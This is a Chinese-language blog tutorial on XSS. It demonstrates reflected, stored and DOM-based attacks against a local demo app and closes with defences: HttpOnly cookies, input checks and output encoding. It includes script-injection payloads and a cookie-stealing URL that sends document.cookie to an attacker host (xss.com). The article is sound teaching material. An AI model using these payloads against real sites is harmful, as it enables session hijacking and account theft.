美文网首页
Web安全 之 XSS攻击

Web安全 之 XSS攻击

作者: Instincts | 来源:发表于2017-11-20 23:03 被阅读83次

本文演示 Demo 的代码地址: XSS

XSS简介

跨站脚本攻击,英文全称是 Cross Site Script,本来缩写是 CSS,但是为了和层叠样式表(Cascading Style Sheets,CSS)有所区别,所以在安全领域叫做 “XSS”。是 Web 安全头号大敌。
XSS攻击,通常指黑客通过 “HTML注入” 篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

XSS 根据效果的不同可以分为三类

接下来会通过 Demo 进行演示,运行 Demo 前安装需 Node 和 MongoDB,具体如何安装不在这里详细介绍了。
在终端里执行如下脚本

git clone https://git.coding.net/yuan285150759/web-tutorial.git

cd web-tutorial/xss && npm i && npm start

然后在浏览器中打开 http://localhost:3000/
可以看到一个简单的文章管理页面

文章管理
先新增几篇文章测试一下功能,若如下图所示,则没有问题 ~
新增文章
接下来开始演示不同类型的 XSS攻击
反射型 XSS

反射型 XSS 只是简单地把用户输入的数据 “反射” 给浏览器。也叫做 “非持久型 XSS”。
我们在搜索框内输入 “袁大师又出新书啦” 时,列表中会展示


有搜索结果

当搜索 “XSS ” 时,列表中会展示


无搜索结果
此时程序都是正常的,接下来我们再搜索框输入下面内容进行搜索时
<script>alert("xss") ;</script>

列表中会展示


反射型 XSS

这就是一个简单的反射型 XSS啦。

存储型 XSS

存储型 XSS 会把用户输入的数据“存储”在服务器端。也叫做 “持久型 XSS”(Persistent XSS)。
当我们新增一个名字为下面内容的文章时

XSS <script>alert("xss") ;</script>

列表中会展示和上图一样的效果,并且我们每次刷新页面时都会弹出弹框。如果这真的是放在公网上的一个页面,那么其他人每次打开这个页面也会弹出弹框。赶紧把 “XSS” 这篇文章删掉吧 ~
这就是一个简单的存储型 XSS啦。

DOM Based XSS

通过修改页面的 DOM 节点形成的 XSS,称之为 DOM Based XSS。
当我们新增一个名字为下面内容的文章时

XSS<script>document.getElementById('title').innerHTML = "<a href='https://github.com/zeaho-frontend/seminar'>xss</a>";</script>

页面中会展示


DOM Based XSS

可以看到文章的标题已经被修改了,点击标题会跳转到一个新的页面哦 ~
这就是一个简单的 DOM Based XSS 啦。

Cookie 劫持

一个最常见的 XSS 攻击 就是盗取用户的 Cookie,从而发起 Cookie 劫持攻击。Cookie 中,一般会保存当前用户的登录凭证,如果 Cookie 被黑客盗取,以为着黑客有可能通过 Cookie 直接登进用户的账户,进行恶意操作。
例如诱使别人点击一个网址

http://zeaho.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>

如果受骗的用户刚好已经登录过 zeaho.com,那么,用户的登录 Cookie 信息就已经发到了攻击者的服务器(xss.com)了。

XSS 的防御

使用 HttpOnly

浏览器禁止页面的JavaScript访问带有 HttpOnly 属性的 Cookie。

输入检查
  • 输入检查,在很多时候也被用于格式检查。这些格式检查,有点像一种“白名单”,也可以让一些基于特殊字符的攻击失效(例如用户名只能为字母、数字组合)。
  • 服务器端代码必须有输入检查的逻辑。如果只是在客户端使用JavaScript进行输入检查,是很容易被攻击者绕过的(例如 Postman)。目前Web开发的普遍做法,是同时在客户端JavaScript中和服务器端代码中实现相同的输入检查。客户端JavaScript的输入检查,可以阻挡大部分误操作的正常用户,从而节约服务器资源。
  • 比较智能的“输入检查”,可能还会匹配 XSS 的特征。比如查找用户数据中是否包含了“<script>”、“javascript”等敏感字符。这种输入检查的方式,可以称为“XSS Filter”。互联网上有很多开源的“XSS Filter”的实现。
  • XSS Filter不够智能。对语境的理解并不完整(例如‘我是“天才”’ → ‘我是"天才"’ )。
输出检查

HtmlEncode、JavascriptEncode、XMLEncode、JSONEncode等。

框架

大部分的 XSS 漏洞可以在模板系统中解决。

参考

《白帽子讲Web安全》

相关文章

  • xss攻击

    前端安全之XSS攻击 XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重...

  • XSS攻击与防御

    Web安全之XSS攻防 1. XSS的定义 跨站脚本攻击(Cross Site Scripting),缩写为XSS...

  • Web安全之XSS攻防

    Web安全之XSS攻防 1. XSS的定义 跨站脚本攻击(Cross Site Scripting),缩写为XSS...

  • Web安全之XSS攻击与防御小结

    Web安全之XSS攻防 1. XSS的定义 跨站脚本攻击(Cross Site Scripting),缩写为XSS...

  • web安全之XSS攻击

    1. 什么是XSS? CSRF(Cross-site request forgery),中文名称:跨站请求伪造。将...

  • Web安全 之 XSS攻击

    本文演示 Demo 的代码地址: XSS XSS简介 跨站脚本攻击,英文全称是 Cross Site Script...

  • web安全之 -- XSS攻击

    什么是XSS攻击 XSS, 即为(Cross Site Scripting), 中文名为跨站脚本, 是发生在目标用...

  • XSS攻击

    什么是XSS? XSS攻击中文全称“跨站脚本攻击”。XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用...

  • XSS盗取cookie

    XSS定义 XSS是一种比较容易出现的安全漏洞,也是web比较常见的web攻击方式。XSS是指攻击者利用网络没有对...

  • XSS 攻击防守

    最常见的攻击xss 什么是xss? 为什么是xss? 开放式Web应用程序安全项目(Open Web Applic...

网友评论

      本文标题:Web安全 之 XSS攻击

      本文链接:https://www.haomeiwen.com/subject/lwusuxtx.html